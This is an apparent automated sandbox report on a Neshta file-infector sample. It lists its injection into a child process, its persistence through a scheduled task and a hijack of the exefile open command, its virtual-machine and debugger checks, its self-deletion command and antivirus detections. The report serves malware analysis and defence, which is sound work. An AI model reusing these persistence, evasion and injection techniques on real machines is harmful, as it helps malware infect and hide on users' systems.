NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:22 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0056c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00aca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00acb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00acc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00acd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ace000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00acf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ac0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ac1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ac2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ac3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ac5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ac6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ac7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2480 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ac8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Steals private information from local Internet browsers (1 event)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\recovery\101.3.34.11\ChromeRecovery.exe

Creates executable files on the filesystem (50 out of 216 events)

file	C:\Program Files (x86)\G2BRUN\jre7\bin\jqs.exe
file	C:\Program Files (x86)\Hnc\HncUtils\HncUpdate.exe
file	C:\Program Files (x86)\Mozilla Thunderbird\plugin-container.exe
file	C:\Program Files (x86)\G2BRUN\jre7\bin\javacpl.exe
file	C:\Program Files (x86)\iniLINE\CrossEX\crossex\UnInstallCrossEXLocal.exe
file	C:\Program Files (x86)\Common Files\Adobe AIR\Versions\1.0\Adobe AIR Application Installer.exe
file	C:\Program Files (x86)\Wizvera\Delfino-G3\unins000.exe
file	C:\Program Files (x86)\Java\jre1.8.0_131\bin\javaw.exe
file	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe
file	C:\Program Files (x86)\Java\jre1.8.0_131\bin\ssvagent.exe
file	C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe
file	C:\Program Files (x86)\Google\Update\1.3.36.82\GoogleUpdateBroker.exe
file	C:\Program Files (x86)\Microsoft Office\Office14\1042\ONELEV.EXE
file	C:\Windows\svchost.com
file	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
file	C:\Python27\Scripts\easy_install.exe
file	C:\Program Files (x86)\Microsoft Office\Office14\VPREVIEW.EXE
file	C:\Program Files (x86)\Hnc\Hwp80\HwpPrnMng.exe
file	C:\Program Files (x86)\Microsoft Office\Office14\WORDICON.EXE
file	C:\Program Files (x86)\Common Files\microsoft shared\IME14\SHARED\IMEPADSV.EXE
file	C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\LICLUA.EXE
file	C:\Program Files (x86)\Microsoft Office\Office14\GROOVEMN.EXE
file	C:\Python27\Lib\site-packages\pip\_vendor\distlib\w32.exe
file	C:\Program Files (x86)\7-Zip\7z.exe
file	C:\Program Files (x86)\Hnc\Common80\HimTrayIcon.exe
file	C:\Program Files (x86)\Java\jre1.8.0_131\bin\unpack200.exe
file	C:\Program Files (x86)\Hnc\Hwp80\HwpFinder.exe
file	C:\Program Files (x86)\Wizvera\Common\wpmsvc\unins000.exe
file	C:\Program Files (x86)\Google\Update\Download\{430FD4D0-B729-4F61-AA34-91526481799D}\1.3.36.82\GoogleUpdateSetup.exe
file	C:\Program Files (x86)\Microsoft Office\Office14\ONENOTE.EXE
file	C:\Program Files (x86)\EditPlus\editplus.exe
file	C:\Python27\Lib\site-packages\pip\_vendor\distlib\t64.exe
file	C:\MSOCache\All Users\{90140000-006E-0412-0000-0000000FF1CE}-C\dwtrig20.exe
file	C:\Python27\Lib\site-packages\pip\_vendor\distlib\t32.exe
file	C:\Program Files (x86)\Google\Chrome\Application\chrome_proxy.exe
file	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe
file	C:\Program Files (x86)\Microsoft Office\Office14\MSTORDB.EXE
file	C:\Program Files (x86)\Common Files\Adobe\__ARM\1.0\AdobeARM.exe
file	C:\Program Files (x86)\Mozilla Thunderbird\minidump-analyzer.exe
file	C:\Program Files (x86)\Microsoft Office\Office14\MSTORE.EXE
file	C:\Program Files (x86)\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE
file	C:\Program Files (x86)\markany\maeps\MaPrtDataUpdater.exe
file	C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\setup.exe
file	C:\Program Files (x86)\Mozilla Thunderbird\pingsender.exe
file	C:\Program Files (x86)\Google\Update\1.3.36.82\GoogleCrashHandler.exe
file	C:\Program Files (x86)\Google\Update\1.3.36.82\GoogleUpdateCore.exe
file	C:\Program Files (x86)\Microsoft Office\Office14\CLVIEW.EXE
file	C:\util\TCPView\Tcpvcon.exe
file	C:\Program Files (x86)\G2BRUN\jre7\bin\java.exe
file	C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\FLTLDR.EXE

Creates a suspicious process (3 events)

cmdline	"C:\Windows\svchost.com" "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xHBDpNzPl" /XML "C:\Users\test22\AppData\Local\Temp\tmp2697.tmp"
cmdline	C:\Windows\System32\schtasks.exe /Create /TN Updates\xHBDpNzPl /XML C:\Users\test22\AppData\Local\Temp\tmp2697.tmp
cmdline	schtasks.exe /Create /TN "Updates\xHBDpNzPl" /XML "C:\Users\test22\AppData\Local\Temp\tmp2697.tmp"

Drops a binary and executes it (2 events)

file	C:\Users\test22\AppData\Local\Temp\3582-490\vbc.exe
file	C:\Windows\svchost.com

Drops an executable to the user AppData folder (3 events)

file	C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\vcredist_x64[1].exe
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\recovery\101.3.34.11\ChromeRecovery.exe
file	C:\Users\test22\AppData\Local\Temp\3582-490\vbc.exe

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Aug. 11, 2021, 9:23 a.m.	show_type: 0 filepath_r: schtasks.exe parameters: /Create /TN "Updates\xHBDpNzPl" /XML "C:\Users\test22\AppData\Local\Temp\tmp2697.tmp" filepath: schtasks.exe	1	1	0
CreateProcessInternalW Aug. 11, 2021, 9:23 a.m.	thread_identifier: 2964 thread_handle: 0x00000090 process_identifier: 2588 current_directory: filepath: C:\Windows\SysWOW64\cmd.exe track: 1 command_line: /c del "C:\Users\test22\AppData\Local\Temp\3582-490\vbc.exe" filepath_r: C:\Windows\SysWOW64\cmd.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000000e8	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW Aug. 11, 2021, 9:23 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Aug. 11, 2021, 9:23 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Aug. 11, 2021, 9:23 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (7 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (4 events)

cmdline	"C:\Windows\svchost.com" "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xHBDpNzPl" /XML "C:\Users\test22\AppData\Local\Temp\tmp2697.tmp"
cmdline	C:\Windows\System32\schtasks.exe /Create /TN Updates\xHBDpNzPl /XML C:\Users\test22\AppData\Local\Temp\tmp2697.tmp
cmdline	/c del "C:\Users\test22\AppData\Local\Temp\3582-490\vbc.exe"
cmdline	schtasks.exe /Create /TN "Updates\xHBDpNzPl" /XML "C:\Users\test22\AppData\Local\Temp\tmp2697.tmp"

Communicates with host for which no DNS query was performed (1 event)

host

45.141.152.18

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2396 region_size: 167936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000450	1	0	0

Checks the version of Bios, possibly for anti-virtualization (2 events)

registry	HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion
registry	HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion

Detects virtualization software with SCSI Disk Identifier trick(s) (1 event)

registry

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command\(Default)

reg_value

C:\Windows\svchost.com "%1" %*

Deletes executed files from disk (1 event)

file	C:\Users\test22\AppData\Local\Temp\3582-490\vbc.exe

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Aug. 11, 2021, 9:23 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"úHuQH"ÏH:QH"ÌH8QHRich9QHPELxaQà r°Ð@@.text`pr ` base_address: 0x00400000 process_identifier: 2396 process_handle: 0x00000450	1	1	0
WriteProcessMemory Aug. 11, 2021, 9:23 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2396 process_handle: 0x00000450	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Aug. 11, 2021, 9:23 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"úHuQH"ÏH:QH"ÌH8QHRich9QHPELxaQà r°Ð@@.text`pr ` base_address: 0x00400000 process_identifier: 2396 process_handle: 0x00000450	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2480 called NtSetContextThread to modify thread in remote process 2396
NtSetContextThread Aug. 11, 2021, 9:23 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4313264 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000454 process_identifier: 2396	1	0	0

One or more non-whitelisted processes were created (1 event)

parent_process

wscript.exe

martian_process

/c del "C:\Users\test22\AppData\Local\Temp\3582-490\vbc.exe"

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2480 resumed a thread in remote process 2396
NtResumeThread Aug. 11, 2021, 9:23 a.m.	thread_handle: 0x00000454 suspend_count: 1 process_identifier: 2396	1	0	0

Detects VirtualBox through the presence of a registry key (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions

Detects VMWare through the presence of a registry key (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.\VMware Tools

Detects the presence of Wine emulator (1 event)

Time & API	Arguments	Status	Return	Repeated
LdrGetProcedureAddress Aug. 11, 2021, 9:23 a.m.	ordinal: 0 function_address: 0x001ecfa8 function_name: wine_get_unix_file_name module: KERNEL32 module_address: 0x76a30000		3221225785	0

Generates some ICMP traffic

Executed a process and injected code into it, probably while unpacking (28 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Aug. 11, 2021, 9:22 a.m.	thread_identifier: 2472 thread_handle: 0x000002a4 process_identifier: 2480 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Local\Temp\3582-490\vbc.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\3582-490\vbc.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\3582-490\vbc.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000002ac	1	1
NtResumeThread Aug. 11, 2021, 9:22 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2480	1	0
NtResumeThread Aug. 11, 2021, 9:22 a.m.	thread_handle: 0x0000014c suspend_count: 1 process_identifier: 2480	1	0
NtResumeThread Aug. 11, 2021, 9:22 a.m.	thread_handle: 0x00000188 suspend_count: 1 process_identifier: 2480	1	0
NtResumeThread Aug. 11, 2021, 9:23 a.m.	thread_handle: 0x00000294 suspend_count: 1 process_identifier: 2480	1	0
NtGetContextThread Aug. 11, 2021, 9:23 a.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread Aug. 11, 2021, 9:23 a.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread Aug. 11, 2021, 9:23 a.m.	thread_handle: 0x000000e0	1	0
NtSetContextThread Aug. 11, 2021, 9:23 a.m.	registers.eip: 1930636164 registers.esp: 2017140 registers.edi: 2017200 registers.eax: 2866681 registers.ebp: 2017216 registers.edx: 4 registers.ebx: 0 registers.esi: 38054932 registers.ecx: 12 thread_handle: 0x000000e0 process_identifier: 2480	1	0
NtResumeThread Aug. 11, 2021, 9:23 a.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 2480	1	0
NtResumeThread Aug. 11, 2021, 9:23 a.m.	thread_handle: 0x000002d8 suspend_count: 1 process_identifier: 2480	1	0
NtResumeThread Aug. 11, 2021, 9:23 a.m.	thread_handle: 0x0000030c suspend_count: 1 process_identifier: 2480	1	0
CreateProcessInternalW Aug. 11, 2021, 9:23 a.m.	thread_identifier: 2320 thread_handle: 0x000004d4 process_identifier: 2324 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\svchost.com track: 1 command_line: "C:\Windows\svchost.com" "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xHBDpNzPl" /XML "C:\Users\test22\AppData\Local\Temp\tmp2697.tmp" filepath_r: C:\Windows\svchost.com stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000004d8	1	1
CreateProcessInternalW Aug. 11, 2021, 9:23 a.m.	thread_identifier: 2392 thread_handle: 0x00000454 process_identifier: 2396 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\3582-490\vbc.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\3582-490\vbc.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000450	1	1
NtGetContextThread Aug. 11, 2021, 9:23 a.m.	thread_handle: 0x00000454	1	0
NtAllocateVirtualMemory Aug. 11, 2021, 9:23 a.m.	process_identifier: 2396 region_size: 167936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000450	1	0
WriteProcessMemory Aug. 11, 2021, 9:23 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"úHuQH"ÏH:QH"ÌH8QHRich9QHPELxaQà r°Ð@@.text`pr ` base_address: 0x00400000 process_identifier: 2396 process_handle: 0x00000450	1	1
WriteProcessMemory Aug. 11, 2021, 9:23 a.m.	buffer: base_address: 0x00401000 process_identifier: 2396 process_handle: 0x00000450	1	1
WriteProcessMemory Aug. 11, 2021, 9:23 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2396 process_handle: 0x00000450	1	1
NtSetContextThread Aug. 11, 2021, 9:23 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4313264 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000454 process_identifier: 2396	1	0
NtResumeThread Aug. 11, 2021, 9:23 a.m.	thread_handle: 0x00000454 suspend_count: 1 process_identifier: 2396	1	0
NtResumeThread Aug. 11, 2021, 9:23 a.m.	thread_handle: 0x000004d0 suspend_count: 1 process_identifier: 2480	1	0
NtGetContextThread Aug. 11, 2021, 9:23 a.m.	thread_handle: 0x000004d0	1	0
NtGetContextThread Aug. 11, 2021, 9:23 a.m.	thread_handle: 0x000004d0	1	0
NtResumeThread Aug. 11, 2021, 9:23 a.m.	thread_handle: 0x000004d0 suspend_count: 1 process_identifier: 2480	1	0
CreateProcessInternalW Aug. 11, 2021, 9:23 a.m.	thread_identifier: 776 thread_handle: 0x000000a4 process_identifier: 532 current_directory: filepath: track: 1 command_line: C:\Windows\System32\schtasks.exe /Create /TN Updates\xHBDpNzPl /XML C:\Users\test22\AppData\Local\Temp\tmp2697.tmp filepath_r: stack_pivoted: 0 creation_flags: 0 () inherit_handles: 0 process_handle: 0x000000a8	1	1
CreateProcessInternalW Aug. 11, 2021, 9:23 a.m.	thread_identifier: 900 thread_handle: 0x0000004c process_identifier: 1516 current_directory: filepath: C:\Windows\SysWOW64\wscript.exe track: 1 command_line: filepath_r: C:\Windows\SysWOW64\wscript.exe stack_pivoted: 0 creation_flags: 134217740 (CREATE_NO_WINDOW\|CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x000000bc	1	1
CreateProcessInternalW Aug. 11, 2021, 9:23 a.m.	thread_identifier: 2964 thread_handle: 0x00000090 process_identifier: 2588 current_directory: filepath: C:\Windows\SysWOW64\cmd.exe track: 1 command_line: /c del "C:\Users\test22\AppData\Local\Temp\3582-490\vbc.exe" filepath_r: C:\Windows\SysWOW64\cmd.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000000e8	1	1

File has been identified by 60 AntiVirus engines on VirusTotal as malicious (50 out of 60 events)

Bkav	W32.NeshtaB.PE
Elastic	malicious (high confidence)
MicroWorld-eScan	Win32.Neshta.A
FireEye	Generic.mg.158d07c37f56412c
CAT-QuickHeal	W32.Neshta.C8
McAfee	W32/HLLP.41472.e
Cylance	Unsafe
Zillya	Virus.Neshta.Win32.1
Sangfor	Win.Trojan.Neshuta-1
K7AntiVirus	Virus ( 00556e571 )
Alibaba	Virus:Win32/Neshta.3bb
K7GW	Virus ( 00556e571 )
CrowdStrike	win/malicious_confidence_100% (W)
Baidu	Win32.Virus.Neshta.a
Cyren	W32/Neshta.OBIX-2981
Symantec	W32.Neshuta
ESET-NOD32	Win32/Neshta.A
APEX	Malicious
Paloalto	generic.ml
ClamAV	Win.Trojan.Neshuta-1
Kaspersky	Virus.Win32.Neshta.a
BitDefender	Win32.Neshta.A
NANO-Antivirus	Trojan.Win32.Winlock.fmobyw
Avast	Win32:Apanas [Trj]
Tencent	Virus.Win32.Neshta.a
Ad-Aware	Win32.Neshta.A
TACHYON	Virus/W32.Neshta
Emsisoft	Win32.Neshta.A (B)
Comodo	Win32.Neshta.A@3ypg
DrWeb	Win32.HLLP.Neshta
VIPRE	Virus.Win32.Neshta.a (v)
TrendMicro	PE_NESHTA.A
McAfee-GW-Edition	BehavesLike.Win32.HLLP.dc
Sophos	Mal/Generic-R + W32/Neshta-D
Ikarus	Virus.Win32.Neshta
Jiangmin	Virus.Neshta.a
Avira	W32/Neshta.A
Antiy-AVL	Trojan/Generic.ASVirus.20D
Gridinsoft	Virus.Win32.Neshta.ka!s8
Microsoft	Virus:Win32/Neshta.A
ViRobot	Win32.Neshta.Gen.A
GData	Win32.Virus.Neshta.D
Cynet	Malicious (score: 100)
AhnLab-V3	Win32/Neshta
Acronis	suspicious
BitDefenderTheta	AI:FileInfector.D5C3B0640E
ALYac	Win32.Neshta.A
MAX	malware (ai score=83)
VBA32	Virus.Win32.Neshta.a
Malwarebytes	Virus.Neshta

vbc.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All